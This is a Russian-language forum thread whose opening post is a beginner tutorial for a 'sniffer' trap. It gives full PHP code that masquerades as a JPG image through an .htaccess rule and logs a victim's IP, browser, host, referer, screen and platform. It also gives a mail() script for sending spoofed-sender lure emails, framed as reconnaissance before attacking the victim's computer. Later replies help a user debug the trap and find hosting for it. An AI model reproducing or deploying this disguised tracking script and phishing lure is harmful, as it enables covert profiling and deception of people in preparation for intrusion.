Форум SoftWeb.ru

Форум SoftWeb.ru (https://softweb.ru/index.php)
-   Защита, взлом и вирусы (https://softweb.ru/forumdisplay.php?f=222)
-   -   Создаём On-Line Sniffer))• (https://softweb.ru/showthread.php?t=32825)

Владимир_ 27.03.2009 19:56

Создаём On-Line Sniffer))•
 
Цитата:

Сообщение от ВЛАДИМИР_;
Здравствуйте форумчане, вашему вниманию предлагаю интересную статью (на мой взгяд) "Создаём On-Line Sniffer"

Узнать о пользователе интернета хоть какую-то информацию порой весьма проблематично. Ведь, как известно, в Сети путешествуют не только чайники, ламеры и секретарши, но и более-менее продвинутые пользователи, которые не поддаются на уловки, вроде "зайди на эту страничку" или "скачай файлик ...". Допустим, нам требуется нарыть всю возможную информацию о пользователе (т.е. получить версию ОС, тип браузера, провайдера и т.д.), чтобы потом его заттачить и, в случае удачи, заполучить данные, хранящиеся на жестком диске.

Готовимся к покушению

Итак, для начала регистрируем новый сайт на каком-нибудь халявном Apache - хостинге, поддерживающем PHP и .htaccess. В качестве примера могу предложить популярный хост Jino-Net.ru . После регистрации зайдите на FTP сайта и создайте новую папку, например IMAGES. Теперь все готово, пришла пора расставить все точки над i и понять, что же нам, собственно, предстоит делать.

Теоретический момент.

Как известно, взаимодействие пользователя с веб-ресурсами происходит через программу-браузер. Чтобы попасть на нужный сайт, мы вводим адрес в адресной строке обозревателя (или просто нажимаем на ссылку) и, после нескольких секунд (а то и минут) ожидания, можем увидеть контент странички. На самом деле, здесь все чрезвычайно просто: браузер посылает некий запрос веб-серверу, на котором расположен сайт, а веб-сервер отвечает на этот запрос, причем ответом зачастую является веб-страница, которую юзер в последствии видит на экране своего монитора. Но процесс "запрос<->ответ" не происходит без "побочных" данных. Например, браузер сообщает серверу информацию о себе (т.е. кем, он, собственно, является: "Ослом" (Internet Explorer), "Лисой" (Mozilla Firefox) и т.д.), IP адрес клиента, номер удаленного порта и другие служебные данные. А сервер, в свою очередь, посылает обозревателю заголовки, содержащие в себе тип запрашиваемого файла (HTML, CSS, JS, ZIP, RAR и т.д.), тип кодировки, код ответа (404, 403, 200 и т.д.). На основе полученной информации браузер решает, каким образом ему предстоит работать с документом.
К чему же это было сказано? А к тому, уважаемые читатели, что на основе выше написанного текста можно сделать вывод, что мы сможем использовать сервер для сбора ценной информации о пользователе-жертве.
Для реализации задумок я выбрал язык PHP, поскольку он наиболее удобен и понятен в освоении.
На этом закончим нудную теорию и перейдем к самому интересному - к практике.

Реализуем он-лайн сниффер.

Для начала, необходимо создать файл с расширением php в папке IMAGES (не меняйте имя директории, позже я расскажу, почему посоветовал назвать папку именно так). Такой файл сервер будет воспринимать как скрипт и выполнять команды внутри него. Назовите файл именем photo001.php. Теперь нужно разобраться, что же необходимо написать в теле скрипта.
Данные, которые нам необходимо получить, хранятся в так называемых переменных окружения. Для того, чтобы извлечь значение переменной (т.е. получить IP пользователя, тип браузера и т.д.) в PHP необходимо вызвать функцию getenv(). Ниже я привожу те значения аргумента функции (т.е., по сути, имена переменных), которые помогут извлечь данные:

getenv("REMOTE_ADDR") - возвращает IP пользователя;
getenv("HTTP_USER_AGENT") - возвращает тип браузера;
getenv("REMOTE_PORT") - возвращает удаленный порт;

Далее. Все данные, которые поможет изъять PHP, мы будем записывать в отдельный LOG - файл. Создайте в директории IMAGES файл logs.txt. Теперь все готово для работы скрипта:
PHP код:

<?
$get_time 
date("d.m.Y (H:i:s)"time());
$get_ip getenv("REMOTE_ADDR");
$get_browser getenv("HTTP_USER_AGENT");
$get_port getenv("REMOTE_PORT");
$get_connect $_SERVER['HTTP_CONNECTION'];
$get_host gethostbyaddr(getenv("REMOTE_ADDR"));
$get_referer = @$_SERVER['HTTP_REFERER'];
$fopen fopen ("logs.txt""a+");
fputs ($fopen"\r\n ---------- Detected at $get_time-------------- \r\n");
fputs ($fopen"IP: \t $get_ip \r\n");
fputs ($fopen"Browser: \t $get_browser \r\n");
fputs ($fopen"Port: \t $get_port \r\n");
fputs ($fopen"Host: \t $get_host \r\n");
fputs ($fopen"Connection: \t $get_connect \r\n");
fputs ($fopen"Referer: \t $get_referer \r\n");
fclose ($fopen);
?>

Собственно, что же тут произошло. В переменную $get_time мы записываем время запуска скрипта (чтобы узнать, когда жертва попалась в уловку). С $get_ip, $get_browser и $get_port все должно быть понятно (об этом я писал выше). Функция gethostbyaddr() получает адрес хоста, через который пользователь путешествует в интернете (а по адресу можно определить и провайдера). $_SERVER['HTTP_REFERER'] содержит страницу, с которой пользователь перешел на скрипт - так называемый реферер (знак "собака" @ указан для того, чтобы анализатор PHP не выводил ошибки, если значение переменной не задано (т.е. пользователь зашел на страницу напрямую)). $_SERVER['HTTP_CONNECTION'] определяет тип соединения (бывает Keep-Alive (грубо говоря, обычное соединение) и Closed (с использованием прокси - сервера)). С помощью функции fopen() открывается файл logs.txt; аргумент a+ говорит о том, что мы добавляем в логи инфу (а не затираем файл прежде, чем добавить что-либо). Fputs() добавляет в файл некоторую строку, содержимое которой указывается во втором аргументе. Как видите, строки могут содержать переменные, а когда скрипт будет добавлять строки в файл, он автоматически заменит имя переменной на ее содержимое. Символ \r\n заменяется на перевод строки; \t - табуляцию.
И это не все, что мы можем узнать о пользователе. Ведь существует такой замечательный инструмент, как JavaScript, при помощи которого можно узнать разрешение экрана, глубину цвета, платформу браузера. Но проблема в том, что JavaScript не умеет работать с файлами и является, по сути, клиентским языком, т.е. выполнение команд происходит не сервером, а браузером клиента. Но этот нюанс не помешает записать дополнительную информацию о пользователе. В "Яве" существуют так называемые объекты, а внутри объектов содержатся некоторые данные. Сегодня нас интересует два объекта: navigator и screen. Чтобы получить какое-то значение из объекта, необходимо задать этому объекту свойство. Наш скрипт будет извлекать:

screen.width - ширина экрана (в пикселях)
screen.height - высота экрана (в пикселях)
screen.colorDepth - глубина цвета экрана (в битах)
navigator.platform - платформа браузера

Так как же PHP - скрипту получить JS - данные ? Можно сделать это скрыто, через объект XMLHttpRequest() (т.е. передать POST - запрос), но мы реализуем несколько упрощенный вариант: передадим информацию через адресную строку, через так называемый GET - запрос. Для этого пишем скрипт:
PHP код:

<?
print "
<script LANGUAGE=\"JavaScript\">
        <!--
location.replace('"
.$_SERVER['PHP_SELF']."?loged=1&w='+screen.width+'&h='+screen.height+'&d='+screen.colorDepth+'&p='+navigator.platform);    
        //-->
</SCRIPT>
"
;
?>

Давайте разбираться. Свойство location.replace является функцией, которая осуществляет редирект (перенаправление) пользователя на новый URL. Переменная $_SERVER['PHP_SELF'] содержит в себе адрес текущей страницы. По поводу остального содержания строки я скажу чуть позже.
Итак, пользователь перенаправляется на новый URL, в адресной строке, после знака вопрос ? записана информация, собранная JavaScript. Теперь дело за малым: получить эту информацию PHP-скриптом.
Как я уже говорил, все, что находится после вопроса является GET - запросом. Через адресную строку мы передаем переменные и их значения. Разделителем переменной и значения является амперсенда & . Т.е. в запросе
loged=1&w=800&h=600&d=32&p=Win32
для PHP - скрипта доступно 5 переменных: loged ; w ; h ; d ; p. А эти переменные, как известно, сгенерированы JavaScript'ом и содержат в себе дополнительную информацию о пользователе, которую необходимо дописать в ЛОГ - файл. Скрипт считывания GET - запроса и его запись в файл выглядит так:
PHP код:

<?
$fopen 
fopen ("logs.txt""a+");
foreach (
$_GET as $key => $value)
{
fputs ($fopen"$key \t $value\r\n");
}

fclose ($fopen);
?>

В PHP любой запрос (GET и POST) записывается в массив. Причем массив является ассоциативным, т.е. чтобы получить значение переменной loged необходимо указать $_GET['loged']. Но в своем скрипте я рассмотрел общий случай, т.е. происходит получение значения каждой переменной. Осуществляется задумка циклом foreach. Функции Fopen() и Fputs() вам уже известны.

Собственно, вот и все! Мы по кусочкам написали скрипт-ловушку, но остались две немаловажные вещи: собрать скрипт целиком и замаскировать его.
Но для начала воссоединяем кусочки кода и получаем примерно такую картину:
PHP код:

<?
$query 
= @$_SERVER['QUERY_STRING'];
if (
$query == "" or !ereg("^loged=1"$query))
{
$get_time date("d.m.Y (H:i:s)"time());
$get_ip getenv("REMOTE_ADDR");
$get_browser getenv("HTTP_USER_AGENT");
$get_port getenv("REMOTE_PORT");
$get_connect $_SERVER['HTTP_CONNECTION'];
$get_host gethostbyaddr(getenv("REMOTE_ADDR"));
$get_referer = @$_SERVER['HTTP_REFERER'];
$fopen fopen ("logs.txt""a+");
fputs ($fopen"\r\n ---------- Detected at $get_time-------------- \r\n");
fputs ($fopen"IP: \t $get_ip \r\n");
fputs ($fopen"Browser: \t $get_browser \r\n");
fputs ($fopen"Port: \t $get_port \r\n");
fputs ($fopen"Host: \t $get_host \r\n");
fputs ($fopen"Connection: \t $get_connect \r\n");
fputs ($fopen"Referer: \t $get_referer \r\n");
fclose ($fopen);
die(
"
        <script LANGUAGE=\"JavaScript\">
        <!--
location.replace('"
.$_SERVER['PHP_SELF']."?loged=1&w='+screen.width+'&h='+screen.height+'&d='+screen.colorDepth+'&p='+navigator.platform);    
        //-->
        </SCRIPT>
    "
);
}
else if (
ereg("^loged=1"$query))
{
    
$fopen fopen ("logs.txt""a+");
    foreach (
$_GET as $key => $value)
        {
    
fputs ($fopen"$key \t $value\r\n");
        }

    
fclose ($fopen);
    
header ('Content-type: image/jpeg');
    die (
readfile("real_photo.jpg"));
}
?>

Поясняю предпоследнюю строчку кода die (readfile("real_photo.jpg")). Собственно, здесь раскрываются карты. Мы замаскировали наш сниффер под обычный безобидный... JPG - файл ! После перенаправления пользователь получит на экране монитора картинку с именем real_photo.jpg (не забудьте положить ее в директорию со скриптом).
Может быть, какая-нибудь секретарша или начинающий ламер ничего не заподозрит, но нормальный юзер может и засомневаться: ведь расширение файла php (photo001.php) ... Но и здесь мы не отступимся! Просто заставим сервер выполнять php код в файлах с расширением JPG ...
В этой задаче нам поможет файл .htaccess, через который можно произвести некоторые изменения в работе сервера. Создайте этот файл в директории с основным скриптом (учтите, что первый символ в названии - точка). Далее вбивайте в него такой код:

RemoveHandler .php
AddType application/x-httpd-php .jpg

Все, теперь сервер воспринимает JPG - файлы как обычные php скрипты. И остается самая малость - поменять имя photo001.php на photo001.jpg.
В итоге получается такая картина: для нас photo001.jpg - скрипт - сниффер, а для обычного пользователя - изображение типа JPG. Ну чем не ловушка ?
А теперь предлагаю перейти к следующему не менее важному моменту.

Цыпа-цыпа-цыпа...

Вроде бы, все готово. Сниффер создан и имеет не внушающую подозрений ссылку: [Ссылки могут видеть только зарегистрированные пользователи. ] . Но как заставит жертву угодить в запланированную ловушку? Способов не так много, но сегодня я предложу, на мой взгляд, один из самых интересных и хитрых. В этом нам поможет сервер, на котором расположен сайт.
Создайте в отдельной директории файл mail_send.php. С помощью этого скрипта мы будем слать пользователю сообщения. Код для отправки такой:
PHP код:

<?
$mail 
"[Ссылки могут видеть только зарегистрированные пользователи. ]";
$subject "Theme";
$content "Content";
$from "[Ссылки могут видеть только зарегистрированные пользователи. ]";
mail ($mail$subject$content"Content-Type: text/plain; charset=\"windows-1251\" \r\nFrom: $from \r\n ");
?>

Итак, отправка почты с помощью PHP осуществляет функцией mail(). В ее аргументах нам необходимо задать: адресата ($mail), тему письма ($subject), содержимое ($content), заголовки (тип кодировки, тип письма и т.д.), а также от кого письмо ($from). Теперь подключайте ваше воображение: какое письмо послать, и, главное, от кого. Вам известно, с кем пользователь переписывается или от каких сервисов получает новости ? А может, вы являетесь приятелем юзера ? В последнем случае ситуация заметно облегчается, а в остальном - все зависит от вашей фантазии и здравости. Но цель - заставить пользователя попасть в лапы созданного сниффера. И те данные, что мы, возможно, получим, могут здорово пригодиться собственно при атаке на удаленный ПК.
Статья расчитана на новичков
Автор данной статьи: s1ayer.

dxMurder 18.08.2010 01:22

Re: Создаём On-Line Sniffer))•
 
Доброе Время суток! у меня 2 вопроса! :

первый: По какой причине может не работать запись лога в logs.txt?

И второй: как настроить переменную $content = "Content";

4айник 19.08.2010 15:32

Re: Создаём On-Line Sniffer))•
 
Цитата:

Сообщение от dxMurder (Сообщение 543308)
По какой причине может не работать запись лога в logs.txt?

права на каталог не 777


Цитата:

Сообщение от dxMurder (Сообщение 543308)
как настроить переменную $content = "Content";

постой записью именно этих буковок именно в такой последовательности


ЗЫ
php - серверный язык (т.е. выполняется на стороне сервера), и при этом не всегда он установлен на сервере

dxMurder 22.08.2010 01:48

Re: Создаём On-Line Sniffer))•
 
Я php только начал изучать!

какой скрипт нужен для Сниффера что бы использовать картинки с *.gif расширениями / разные названия, и что бы записались в один лог!

dxMurder 24.08.2010 01:52

Re: Создаём On-Line Sniffer))•
 
Не могу понять в чем дело:

[Ссылки могут видеть только зарегистрированные пользователи. ] -- вот так логи не идут

[Ссылки могут видеть только зарегистрированные пользователи. ] -- а так идут

4айник 24.08.2010 18:06

Re: Создаём On-Line Sniffer))•
 
Цитата:

Сообщение от dxMurder (Сообщение 544589)
http://d-x.h1.ru/IMAGES/photo001.php -- а так идут

уже нет :)

dxMurder 28.08.2010 23:34

Re: Создаём On-Line Sniffer))•
 
Цитата:

Сообщение от 4айник (Сообщение 544760)
уже нет :)

Закрыли хост! но в чем может быть дело?

4айник 29.08.2010 04:30

Re: Создаём On-Line Sniffer))•
 
dxMurder,
причин может быть много, скорее всего они в настройках хостера.
все-же хостеры не очень любят, когда на их оборудовании ломают кого-то...

dxMurder 29.08.2010 16:41

Re: Создаём On-Line Sniffer))•
 
4айник, Можешь порекомендовать кокойта без платный хостер?

4айник 29.08.2010 17:20

Re: Создаём On-Line Sniffer))•
 
dxMurder, не-а...
обычно для таких целей народ собственные хосты поднимает


Часовой пояс GMT +3, время: 21:06.

Работает на vBulletin® версия 3.8.12 by vBS.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Перевод: zCarot